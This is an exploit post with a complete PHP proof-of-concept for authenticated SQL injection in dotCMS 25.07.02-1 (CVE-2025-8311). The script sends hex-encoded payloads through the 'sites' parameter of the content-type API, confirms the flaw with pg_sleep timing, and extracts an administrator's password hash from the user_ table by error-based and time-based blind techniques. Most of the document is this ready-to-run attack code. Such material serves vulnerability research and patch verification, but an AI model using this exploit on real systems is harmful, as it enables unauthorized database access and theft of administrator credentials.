=============================================================================================================================================
| # Title     : dotCMS 25.07.02-1 Authenticated Blind SQL Injection (Time-Based)                                                            |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://www.dotcms.com/                                                                                                     |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211125/ & 	CVE-2025-8311

[+] Summary :  This PHP script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems. 
               The exploit combines Time-Based Blind SQLi and Error-Based SQLi techniques to extract password hashes from the database, specifically targeting administrator accounts.
	
[+]  Usage :   * : Save as: exploit.php
                   Run    : php exploit.php
	
[+]  POC :	
  
<?php
/*
 PoC by Indoushka
 */

//=========================//
// USER CONFIGURATION      //
//=========================//
$HOST          = "127.0.0.1:8443";
$TARGET_ACCOUNT = "admin@dotcms.com";
$TOKEN         = "REPLACE_WITH_VALID_JWT";   // <= أدخل توكن صحيح
$SLEEP_TIME    = 10;                         // seconds

//=========================//
// Helper Functions        //
//=========================//

function hexEncode($str){
    $out = "";
    for($i = 0; $i < strlen($str); $i++){
        $out .= sprintf("%%%02x", ord($str[$i]));
    }
    return $out;
}

function send_request($payload=""){
    global $HOST, $TOKEN;

    $payload = hexEncode($payload);
    $url = "https://{$HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{$payload}";

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => [
            "Accept: */*",
            "Authorization: Bearer {$TOKEN}",
            "User-Agent: Mozilla/5.0"
        ],
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT => 300
    ]);

    $start = microtime(true);
    $resp  = curl_exec($ch);
    $end   = microtime(true);
    $delay = $end - $start;

    curl_close($ch);
    return [$resp, $delay];
}

function send_sqli($q){
    $query = "') AND 1=(".$q.") AND ('A' LIKE 'A";
    return send_request($query);
}

function test_sqli(){
    global $SLEEP_TIME;

    echo "[!] Checking connection...\n";
    list($body, $delay) = send_request();
    if(strpos($body, '"pagination":{"currentPage":') === false){
        echo "[-] Unexpected response!\n";
        exit;
    }
    echo "[+] Connection OK.\n";

    echo "[!] Testing Time-Based SQL Injection...\n";
    list($body, $delay) = send_sqli("SELECT 1 FROM pg_sleep({$SLEEP_TIME})");
    if($delay < $SLEEP_TIME){
        echo "[-] Sleep test failed.\n";
        // لا نخرج من البرنامج، قد نجرب طريقة أخرى
    } else {
        echo "[+] Time-Based SQLi confirmed.\n\n";
        return true;
    }
    
    echo "[!] Testing Error-Based SQL Injection...\n";
    $result = extract_error_test();
    if($result){
        echo "[+] Error-Based SQLi confirmed.\n\n";
        return true;
    }
    
    echo "[-] No SQL Injection vulnerability detected.\n";
    exit;
}

function extract_error_test(){
    global $TARGET_ACCOUNT;

    $payload = "') AND (SELECT cast((SELECT 'test' FROM user_ LIMIT 1) as int)) AND ('A'='A";
    list($resp, $delay) = send_request($payload);

    if(preg_match('/invalid input syntax for type integer: "(.*?)"/', $resp, $m)){
        return $m[1];
    }
    return false;
}

function extract_error_full(){
    global $TARGET_ACCOUNT;

    echo "[!] Attempting Error-Based extraction...\n";
    
    $payload = "') AND (SELECT cast((SELECT password_ FROM user_ WHERE emailaddress='{$TARGET_ACCOUNT}' LIMIT 1) as int)) AND ('A'='A";

    list($resp, $delay) = send_request($payload);

    // الالتقاط من رسالة الخطأ
    if(preg_match('/invalid input syntax for type integer: "(.*?)"/', $resp, $m)){
        return $m[1];
    }
    
    // محاولة نمط آخر لرسالة الخطأ
    if(preg_match('/ERROR: (.*?) at character/', $resp, $m)){
        return $m[1];
    }
    
    return false;
}

function retrieve_data_time_based($template, $charset){
    global $SLEEP_TIME, $TARGET_ACCOUNT;

    $charset = ":" . str_replace(":","",$charset);
    $output = "";
    $index = 1;

    while(true){
        $found = false;
        foreach(str_split($charset) as $c){
            $q = str_replace(["[_INDEX_PLACEHOLDER_]","[_ASCII_PLACEHOLDER_]"],
                             [$index, ord($c)],
                             $template);

            list($body, $delay) = send_sqli($q);

            if($delay >= intval($SLEEP_TIME/2)){
                echo "[+] Found char at position {$index}: {$c}\n";
                $output .= $c;
                $index++;
                $found = true;
                break;
            }
        }
        if(!$found){ break; }
    }
    return $output;
}

function retrieve_data_error_based($charset){
    global $TARGET_ACCOUNT;
    
    $charset = ":" . str_replace(":","",$charset);
    $output = "";
    $index = 1;
    
    while(true){
        $found = false;
        foreach(str_split($charset) as $c){
            // بناء استعلام Error-Based
            $payload = "') AND (SELECT cast((SELECT substring(password_ from {$index} for 1) FROM user_ WHERE emailaddress='{$TARGET_ACCOUNT}' LIMIT 1) as int)) AND ('A'='A";
            
            list($resp, $delay) = send_request($payload);
            
            if(preg_match('/invalid input syntax for type integer: "('.$c.')"/', $resp, $m)){
                echo "[+] Found char at position {$index}: {$c}\n";
                $output .= $c;
                $index++;
                $found = true;
                break;
            }
        }
        if(!$found){ break; }
    }
    return $output;
}

//=========================//
// MAIN                    //
//=========================//

echo "========================================\n";
echo "     DotCMS SQL Injection Exploit      \n";
echo "     Combined Time & Error Based       \n";
echo "========================================\n\n";

// اختبار وجود الثغرة
if(!test_sqli()){
    exit;
}

// محاولة الاستخراج السريع باستخدام Error-Based
echo "[!] Trying Error-Based extraction first (faster)...\n";
$hash_error = extract_error_full();

if($hash_error){
    echo "\n[✓] SUCCESS: Hash extracted via Error-Based SQLi\n";
    echo "[+] HASH for {$TARGET_ACCOUNT}: {$hash_error}\n";
    
    // التحقق من صحة الهاش (اختياري)
    if(strlen($hash_error) >= 32 && preg_match('/^[a-f0-9$.\/]+$/i', $hash_error)){
        echo "[✓] Hash appears valid (length: " . strlen($hash_error) . " chars)\n";
    }
} else {
    echo "[-] Error-Based extraction failed, falling back to Time-Based...\n\n";
    
    // استخدام الطريقة الزمنية كحل احتياطي
    $template =
    "SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) ".
    "THEN (SELECT 1 FROM pg_sleep(".intval($SLEEP_TIME/2).") WHERE emailaddress = '{$TARGET_ACCOUNT}') ".
    "ELSE 1 END) FROM user_ WHERE emailaddress = '{$TARGET_ACCOUNT}'";

    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$./:";
    
    echo "[!] Starting Time-Based extraction (slower)...\n";
    echo "[!] This may take several minutes...\n";
    
    $pass = retrieve_data_time_based($template, $chars);
    
    if(!empty($pass)){
        echo "\n[✓] SUCCESS: Hash extracted via Time-Based SQLi\n";
        echo "[+] HASH for {$TARGET_ACCOUNT}: {$pass}\n";
    } else {
        echo "\n[-] FAILED: Could not extract hash using any method.\n";
        echo "    Possible reasons:\n";
        echo "    1. Account does not exist\n";
        echo "    2. Different database structure\n";
        echo "    3. Additional security measures\n";
    }
}

echo "\n========================================\n";
echo "               END OF EXPLOIT           \n";
echo "========================================\n";
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================